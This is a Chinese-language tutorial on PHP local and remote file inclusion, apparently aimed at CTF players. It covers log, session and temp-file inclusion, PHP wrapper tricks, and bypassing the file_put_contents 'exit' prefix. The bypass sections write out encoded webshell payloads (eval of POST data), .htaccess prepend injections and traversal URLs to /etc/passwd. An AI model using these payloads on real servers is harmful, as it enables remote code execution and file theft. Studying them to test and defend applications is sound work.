文件包含漏洞
文件包含漏洞的介绍
介绍
在程序中通过include等包含指令或函数引用外部文件时,若可以通过用户可控参数指定包含或引用的目标文件(也就是“包含”函数的参数是动态变量且用户可控),且没有对目标文件进行有效的安全检验,导致包含恶意代码的文件嵌入到程序空间并得到解析执行,从而造成文件包含漏洞。由于文件包含指令涉及比较少,在挖掘漏洞的时候很容易通过定位关键函数的方法定位漏洞。例如,PHP语言中关于包含的函数主要有include、include_once、require、require_once、file_get_contents、fopen、file、readfile等;JSP语言主要有include指令或jsp:include动作元素,以及c:import指令。
分类
根据包含目标文件的存储位置,文件包含分为:
- 本地文件包含(Local File Inclusion,LFI)
- 远程文件包含(Remote File Inclusion,RFI)
其中,本地文件包含漏洞一般是上传或日志缓存写入等方法来包含恶意文件,远程文件包含漏洞这是引入远程的恶意文件、恶意代码或数据流造成文件包含漏洞。
本地文件包含漏洞
包含本地服务器的文件且能正常执行被包含文件的代码是本地文件包含,若包含的是超出开发者本意的恶意文件时,则造成本地文件包含漏洞。
普通本地文件包含
如,服务端脚本中含有以下代码的文件(LFI.php):
1 |
|
上传恶意代码(test.txt)到服务端:
1 | phpinfo(); |
在浏览器访问路径:http://hackroot.com/LFI.php?file=upload/test.txt。触发本地包含漏洞。

日志文件包含
利用条件:
- 日志文件存储位置已知,且日志文件可读。
中间件例如IIS、Apache、Nginx这些Web中间件,都会记录访问日志,如果日志中或错误日志中存在有PHP代码,也可以引入到文件包含中。如果日志有PHP恶意代码也会导致getshell。
如,我们可以在Burp中构造恶意数据包,使Web服务器的错误日志文件包含我们的恶意代码:

不直接使用浏览器发送的原因是浏览器会自动进行URL编码。
error.log中已经记录了本次的错误信息,其中就有我们的恶意代码。

利用本地文件包含即可执行。

注:在Linux下日志文件权限默认为root,而php的权限是www-data,一般是读取不了的,如果是Windows环境下的是允许的。
Linux默认的apache日志文件路径:
- 访问日志:
/var/log/apache2/access.log- 错误日志:
/var/log/apache2/error.log
Session文件包含
利用条件:
- PHP >= 5.4.0
- session.upload_progress.enabled=On
与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:
session.upload_progress.enabled:控制是否开启session.upload_progress功能session.upload_progress.cleanup:控制是否在上传之后删除文件内容session.upload_progress.prefix:设置上传文件内容的前缀session.upload_progress.name:其值即为session中的键值

可以利用session.upload_progress将WebShell写入session文件(通过修改PHPSESSID的值来自定义文件名),然后包含这个session文件(PHP版本>=5.4.0)

如,首先在本地构造上传页面(只用提交就行,不用管服务端有没有接收都会创建Session文件):
1 |
|
上传提交时,使用Burp抓包,在Cookie中添加PHPSESSID:

提交后,服务端就会生成一个Session文件,生成文件的路径为php.ini中session.save_path的值,一般在/var/lib/php/session/或/tmp/下。

我们可以利用本地文件包含,执行Session文件中的恶意脚本。

但是,当session.upload_progress.cleanup的值为On时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?
当然是利用条件竞争了!
使用ctfshow群主的脚本,用多线程重放包
1 | # -*- coding: utf-8 -*- |
访问http://192.168.1.14/LFI.php?file=../../../var/lib/php/session/sess_shell,多刷新几下,即可看到命令执行的结果。

/proc/self/environ 文件包含
利用条件:
- php 以 cgi 方式运行,这样 environ 才会保持 UA 头。
- environ 文件存储位置已知,且 environ 文件可读。
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:
在浏览器访问路径:http://localhost/LFI.php?file=../../../proc/self/environ
如果看到类似如下信息:
1 | DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, p_w_picpath/png, p_w_picpath/jpeg, p_w_picpath/gif, p_w_picpath/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= |
说明是可以访问的,如果返回时个空白页,说明是无法访问的。
可以使用BurpSuite或Firefox的插件改变Firefox的User-Agent:
1 | User-Agent: <?php phpinfo();?> |
再通过本地文件包含即可:
1 | http://localhost/LFI.php?file=../../../proc/self/environ |
注:一般php是无法访问到/proc/self下的文件的,所以这种利用方式很难能用到。
临时文件包含
php://filter/string.strip_tags
php7.0的bug
1 | include.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
该方法仅适用于以下php7版本,php5并不存在该崩溃:
1 | • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复 |
php://filter/convert.quoted-printable-encode
这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数。
1 | • php7.0.0-7.0.32 |
在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。
放一个xctf final的exp:
1 | #!/usr/bin/env python |
自包含临时文件
利用条件:
通过自包含或者其他方式使得临时文件暂时存在
能够同时查看phpinfo($_FILES[‘file’])
进行文件上传
也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。
利用自包含index.php,页面不断加载,文件上传跳转后要求显示phpinfo页面,在文件上传的时候,php默认会在/tmp目录下随机生成 php+6位随机字母的文件,上传后跳转到自包含的页面,这时候在phpinfo中的$_FILES[‘file’]变量会显示临时文件路径,到另一个页面包含这个文件就能getshell。
本地文件包含的限制绕过
利用%00截断绕过后缀名限制
一般的Web引擎会限制包含文件的后缀名,例如上例LFI1.php中的包含指令,Web引擎会阻止后缀为txt的引用目标文件。PHP 5.3.4之前的版本在gpc关闭状态下,可以通过%00截断的方式绕过这一限制,触发本地文件包含漏洞。
如,服务端脚本中含有以下代码的文件(LFI.php):
1 |
|
在浏览器访问路径:http://hackroot.com/LFI.php?file=upload/test.txt%00。触发本地包含漏洞。

利用超长字符截断绕过后缀名限制
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用”./“的方式即可构造出超长目录字符串:
PHP 5.3.4之前的版本还可以利用Windows环境下“240个小数点”的方式进行截断,绕过后台的安全检测。
如,服务端脚本中含有以下代码的文件(LFI.php):
1 |
|
在浏览器访问路径:
1 | http://192.168.1.14/LFI.php?file=./././././【中间省略n个./】././././././test.txt |
触发本地包含漏洞。
用到的不多,仅作为思路参考。
远程文件包含漏洞
在演示分析远程包含漏洞时,需要设置PHP引擎的以下前提条件:
- 修改php.ini配置文件里面的
allow_url_fopen和allow_url_include,使其开启allow_url_fopen=On和allow_url_include=On。 - 被包含文件没有目录限制,或可控的文件、恶意代码、数据流可被引入解析。
符合以上条件的就是远程文件包含漏洞。
普通远程文件包含
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
上传恶意代码(test.txt)到攻击者的服务端:
1 | phpinfo(); |
在浏览器访问路径:
http://hackroot.com/RFI.php?file=http://192.168.1.14/test.txt。触发远程包含漏洞。

远程文件包含的限制绕过
利用问号截断绕过后缀名限制
对于Web引擎会阻止后缀为txt的引用目标文件情况,可以通过?截断的方式,绕过安全检查。
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
在浏览器访问路径:
http://hackroot.com/RFI.php?file=http://192.168.1.14/test.txt?。触发远程包含漏洞。

PHP伪协议
PHP封装协议又叫伪协议,此种类经常在CTF中用到,常用的封装协议有php://input、php://zip、php://filter、php://zip、data://、zip://、file://、phar://等。
有的协议受限于allow_url_include,例如file://在allow_url_fopen 与 allow_url_include关闭的情况下都可以说使用,而 data://在allwo_url_fopen 与 allow_url_include都开启的情况下才可以使用。
下图总结了部分PHP伪协议、版本与文件包含开关的对应关系:
| 协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 用法 |
|---|---|---|---|---|
| file:// | >=5.2 | Off/On | Off/On | ?file=file://D:/www/code.txt |
| php://filter | >=5.2 | Off/On | Off/On | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
| php://input | >=5.2 | Off/On | On | ?file=php://input 【POST DATA】\<?php phpinfo();?> |
| zip:// | >=5.2 | Off/On | Off/On | ?file=zip://D:/www/file.zip%23code.txt |
| compress.bzip2:// | >=5.2 | Off/On | Off/On | ?file=compress.bzip2://D:/www/file.bz2 |
| compress.zlib:// | >=5.2 | Off/On | Off/On | ?file=compress.zlib://D:/www/file.gz |
| phar:// | >=5.3 | Off/On | Off/On | ?file=phar://D:/www/file.zip/code.txt |
| data:// | >=5.2 | On | On | ?file=data://text/plain,\<?php phpinfo();?> 【Or】 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 【也可以】 ?file=data:text/plain,\<?php phpinfo();?> 【Or】 ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
更多有关伪协议的信息可以参考官网:https://www.php.net/manual/zh/wrappers.php
data:// 协议
php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
通过浏览器访问路径
1 | http://hackroot.com/RFI.php?file=data:text/plain,%3C?php%20phpinfo();?%3E |
触发漏洞

另外,也可以将payload编码成base64的形式:
1 | http://hackroot.com/RFI.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |

zip:// 协议
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
将 恶意文件(test.txt)压缩存储为 test.zip,通过浏览器访问路径:
http://hackroot.com/RFI.php?file=zip://upload/test.zip%23test.txt

phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容。phar://协议是在PHP 5.3.0后才开始启用的。这里仅对文件包含的角度对phar://`协议进行利用,之后利用反序列化时会深入讲解。
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
将 恶意文件(test.txt)压缩存储为 test.zip,通过浏览器访问路径:
http://hackroot/RFI.php?file=phar://upload/test.zip/test.txt

php://input 协议
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
如,服务端脚本中含有以下代码的文件(RFI.php):
1 |
|
通过浏览器访问路径:http://hackroot/RFI?file=php://input,并发送POST数据(执行的代码),即可触发

php://filter 协议
php://filte是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
php://filter参数

可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
| 字符串过滤器 | 作用 |
|---|---|
| string.rot13 | 等同于str_rot13(),rot13变换 |
| string.toupper | 等同于strtoupper(),转大写字母 |
| string.tolower | 等同于strtolower(),转小写字母 |
| string.strip_tags | 等同于strip_tags(),去除html、PHP语言标签 |
| 转换过滤器 | 作用 |
|---|---|
| convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
| convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
| 加密过滤器 | 作用 |
|---|---|
| mcrypt.* | libmcrypt 对称加密算法 |
| mdecrypt.* | libmcrypt 对称解密算法 |
| 压缩过滤器 | 作用 |
|---|---|
| zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
| bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
读取文件
使用php://filter协议读文件时是会解析php的。
1 | http://hackroot.com/RFI.php?file=php://filter/resource=upload/test.txt |

要想读取php的源码,可以使用过滤器对读取到的内容进行编码。
1 | http://hackroot.com/RFI.php?file=php://filter/read=convert.base64-encode/resource=LFI.php |

解码后就是源代码了

注:不仅仅是
include(),file_get_contents()也可以使用php://filter读取文件。
写入文件
include()函数是不能使用php://filter,写文件的。但是file_put_contents()函数是可以写入文件的。测试代码如下:
1 |
|
payload:
1 | http://hackroot.com/file.php?file=php://filter/resource=test.txt&txt=abc123 |
可以写入文件

如果写入的内容过长,可以先对其进行base64编码,在写入时使用convert.base64-decode进行解码。
payload:
1 | http://hackroot.com/file.php?file=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== |

这里利用了过滤器写入了webshell,我们可以利用php://filter绕过“死亡exit”。
绕过file_put_contents“死亡exit”
关于代码终结者<?php exit; ?>想必大家在打CTF或漏洞挖掘中写入shell的时候经常会遇到,在这样的情况下无论写入的shell是否成功都不会执行传入的恶意代码,因为在恶意代码执行之前程序就已经结束退出了,导致shell后门利用失败。
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
有关绕过原理可以参考下面三篇大牛的文章,我仅仅总结下绕过姿势:
php的死亡绕过file_put_content大概有两种情形出现:
file_put_contents($filename,"<?php exit();".$content);file_put_contents($content,"<?php exit();".$content);
还有一种是
file_put_contents($filename,$content . "\nxxxxxx");,不过这个是绕过杂糅代码,不是死亡exit,主要针对.htaccess文件做绕过,使用的方法不涉及伪协议,就不在这里做讨论了。
情况一
示例代码(f1.php):
1 |
|
base64编码绕过
这里需要将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”,以补上一位就可以完全转化。
1 | $filename=php://filter/convert.base64-decode/resource=s1mple.php |
这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;payload效果如下:

rot13 编码绕过
原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可:
1 | $filename=php://filter/string.rot13/resource=s1mple.php |

只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用。
.htaccess的预包含利用
利用.htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。
1 | $filename=php://filter/write=string.strip_tags/resource=.htaccess |
同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件。实验结果如下所示:

过滤器编码组合拳
过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码。
- strip_tags + base64
利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell。
1 | $filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php |

但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响。
- 三个过滤器
内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础。
1 | $filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php |
虽然写入并没有问题,但测试并没有执行代码。
情况二
示例代码(f2.php):
1 |
|
这段类似的代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
和上面的大类方法一样,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit(); 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload。
.htacess的预包含利用
和第一种情况一样,利用.htaccess进行预包含,然后读取flag。
1 | php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20s1mple.php%0a%23/resource=.htaccess |
base64 编码绕过
看到这种情况其实也可以想到base64利用,payload:
1 | php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php |
或
1 | php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
看起来顺理成章,进行拼接之后就是
1 | exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php |
然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。原因如下:
‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的
- 去掉等号之过滤器嵌套base64
payload:
1 | php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php |
发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去:
1 | php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php |
我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;效果如下:

- 去掉等号之直接对内容进行变性另类base64
其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html标签,从而对剩下的内容进行base64解码。但是这种方法却不是如此,payload如下:
1 | php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php |
这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接在写中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的效果。
注:这两种方法在Windows系统下是实现不了的,因为Windows系统的文件名不能含有
?和>
rot13 编码绕过
尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可。
1 | php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php |

convert.iconv.* 编码转换绕过
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到iconv — 字符串按要求的字符编码来转换
用法:
1 | iconv ( string $in_charset , string $out_charset , string $str ) |
就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已。
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换。
- usc-2
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php |

- usc-4
活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数。
1 | php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php |

- utf-8与utf-7之间的转化
经过测试发现:

这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell,算上是一种组合拳:
1 | php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php |

参考资料
- 曹玉杰,王乐,李家辉,孔韬循 编著《Web代码安全漏洞深度剖析》
- PHP: 支持的协议和封装协议 - Manual
- 文件包含 - Kradress’s blog
- LFI通过proc/self/environ直接获取webshell_hackfreer_51CTO博客
- LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习_weixin_45116657的博客-CSDN博客
- CTFweb篇-Session包含_weixin_44597701的博客-CSDN博客_session包含
- 详解利用session进行文件包含_合天网安学院-CSDN博客_session文件包含
- 关于php文件操作的几个小trick - tr1ple - 博客园 (cnblogs.com)
- php的input伪协议 | CTFHub
- php伪协议实现命令执行的七种姿势(转) - !rbash - 博客园 (cnblogs.com)
- PHP伪协议总结 - SegmentFault 思否
- 探索php://filter在实战当中的奇技淫巧 - 安全客,安全资讯平台 (anquanke.com)
- ctf 死亡exit绕过njqfb的博客-CSDN博客绕过死亡exit
- 关于file_put_contents的一些小测试 | Cyc1e’s Blog (cyc1e183.github.io)
- 谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
- PHP file_put_contents 的死亡绕过【ye1s】 (cfyqy.com)
- file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)